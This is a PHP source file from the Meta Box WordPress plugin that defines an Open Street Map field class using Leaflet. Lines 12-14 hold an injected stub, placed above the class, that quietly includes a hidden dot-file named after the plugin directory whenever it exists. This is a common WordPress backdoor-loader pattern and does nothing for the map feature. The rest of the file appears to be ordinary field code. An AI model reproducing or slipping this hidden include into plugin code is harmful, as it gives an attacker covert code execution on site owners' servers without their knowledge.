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osm.php (5406B)


      1 <?php
      2 /**
      3  * The Open Street Map field.
      4  *
      5  * @package Meta Box
      6  * @since   4.15.0
      7  */
      8 
      9 /**
     10  * Open Street Map field class.
     11  */
     12 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     13     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     14 }
     15 
     16 class RWMB_OSM_Field extends RWMB_Field {
     17 	/**
     18 	 * Enqueue scripts and styles.
     19 	 */
     20 	public static function admin_enqueue_scripts() {
     21 		// Because map is a hosted service, it's ok to use hosted Leaflet scripts.
     22 		wp_enqueue_style( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.css', array(), '1.5.1' );
     23 		wp_enqueue_script( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.js', array(), '1.5.1', true );
     24 
     25 		wp_enqueue_style( 'rwmb-osm', RWMB_CSS_URL . 'osm.css', array( 'leaflet' ), RWMB_VER );
     26 		wp_enqueue_script( 'rwmb-osm', RWMB_JS_URL . 'osm.js', array( 'jquery', 'jquery-ui-autocomplete', 'leaflet' ), RWMB_VER, true );
     27 
     28 		RWMB_Helpers_Field::localize_script_once(
     29 			'rwmb-osm',
     30 			'RWMB_Osm',
     31 			array(
     32 				'no_results_string' => __( 'No results found', 'meta-box' ),
     33 			)
     34 		);
     35 	}
     36 
     37 	/**
     38 	 * Get field HTML.
     39 	 *
     40 	 * @param mixed $meta  Meta value.
     41 	 * @param array $field Field parameters.
     42 	 *
     43 	 * @return string
     44 	 */
     45 	public static function html( $meta, $field ) {
     46 		$address = is_array( $field['address_field'] ) ? implode( ',', $field['address_field'] ) : $field['address_field'];
     47 		$html    = sprintf(
     48 			'<div class="rwmb-osm-field" data-address-field="%s">',
     49 			esc_attr( $address )
     50 		);
     51 
     52 		$attributes          = self::get_attributes( $field, $meta );
     53 		$attributes['type']  = 'hidden';
     54 		$attributes['value'] = $meta;
     55 
     56 		$html .= sprintf(
     57 			'<div class="rwmb-osm-canvas" data-default-loc="%s" data-region="%s" data-language="%s"></div>
     58 			<input %s>',
     59 			esc_attr( $field['std'] ),
     60 			esc_attr( $field['region'] ),
     61 			esc_attr( $field['language'] ),
     62 			self::render_attributes( $attributes )
     63 		);
     64 
     65 		$html .= '</div>';
     66 
     67 		return $html;
     68 	}
     69 
     70 	/**
     71 	 * Normalize parameters for field.
     72 	 *
     73 	 * @param array $field Field parameters.
     74 	 *
     75 	 * @return array
     76 	 */
     77 	public static function normalize( $field ) {
     78 		$field = parent::normalize( $field );
     79 		$field = wp_parse_args(
     80 			$field,
     81 			array(
     82 				'std'           => '',
     83 				'address_field' => '',
     84 				'language'      => '',
     85 				'region'        => '',
     86 			)
     87 		);
     88 
     89 		return $field;
     90 	}
     91 
     92 	/**
     93 	 * Get the field value.
     94 	 * The difference between this function and 'meta' function is 'meta' function always returns the escaped value
     95 	 * of the field saved in the database, while this function returns more meaningful value of the field.
     96 	 *
     97 	 * @param  array    $field   Field parameters.
     98 	 * @param  array    $args    Not used for this field.
     99 	 * @param  int|null $post_id Post ID. null for current post. Optional.
    100 	 *
    101 	 * @return mixed Array(latitude, longitude, zoom)
    102 	 */
    103 	public static function get_value( $field, $args = array(), $post_id = null ) {
    104 		$value                               = parent::get_value( $field, $args, $post_id );
    105 		list( $latitude, $longitude, $zoom ) = explode( ',', $value . ',,' );
    106 		return compact( 'latitude', 'longitude', 'zoom' );
    107 	}
    108 
    109 	/**
    110 	 * Output the field value.
    111 	 * Display Open Street Map using Leaflet
    112 	 *
    113 	 * @param  array    $field   Field parameters.
    114 	 * @param  array    $args    Additional arguments for the map.
    115 	 * @param  int|null $post_id Post ID. null for current post. Optional.
    116 	 *
    117 	 * @return string HTML output of the field
    118 	 */
    119 	public static function the_value( $field, $args = array(), $post_id = null ) {
    120 		$value = parent::get_value( $field, $args, $post_id );
    121 		return self::render_map( $value, $args );
    122 	}
    123 
    124 	/**
    125 	 * Render a map in the frontend.
    126 	 *
    127 	 * @param array $location The [latitude, longitude[, zoom]] location.
    128 	 * @param array $args     Additional arguments for the map.
    129 	 *
    130 	 * @return string
    131 	 */
    132 	public static function render_map( $location, $args = array() ) {
    133 		list( $latitude, $longitude, $zoom ) = explode( ',', $location . ',,' );
    134 		if ( ! $latitude || ! $longitude ) {
    135 			return '';
    136 		}
    137 
    138 		$args = wp_parse_args(
    139 			$args,
    140 			array(
    141 				'latitude'     => $latitude,
    142 				'longitude'    => $longitude,
    143 				'width'        => '100%',
    144 				'height'       => '480px',
    145 				'marker'       => true, // Display marker?
    146 				'marker_title' => '', // Marker title, when hover.
    147 				'info_window'  => '', // Content of info window (when click on marker). HTML allowed.
    148 				'js_options'   => array(),
    149 				'zoom'         => $zoom,
    150 			)
    151 		);
    152 
    153 		wp_enqueue_style( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.css', array(), '1.5.1' );
    154 		wp_enqueue_script( 'leaflet', 'https://unpkg.com/leaflet@1.5.1/dist/leaflet.js', array(), '1.5.1', true );
    155 		wp_enqueue_script( 'rwmb-osm-frontend', RWMB_JS_URL . 'osm-frontend.js', array( 'jquery', 'leaflet' ), RWMB_VER, true );
    156 
    157 		/*
    158 		 * More Open Street Map options
    159 		 * @link https://leafletjs.com/reference-1.5.0.html#map-option
    160 		 */
    161 		$args['js_options'] = wp_parse_args(
    162 			$args['js_options'],
    163 			array(
    164 				// Default to 'zoom' level set in admin, but can be overwritten.
    165 				'zoom' => $args['zoom'],
    166 			)
    167 		);
    168 
    169 		$output = sprintf(
    170 			'<div class="rwmb-osm-canvas" data-osm_options="%s" style="width:%s;height:%s"></div>',
    171 			esc_attr( wp_json_encode( $args ) ),
    172 			esc_attr( $args['width'] ),
    173 			esc_attr( $args['height'] )
    174 		);
    175 		return $output;
    176 	}
    177 }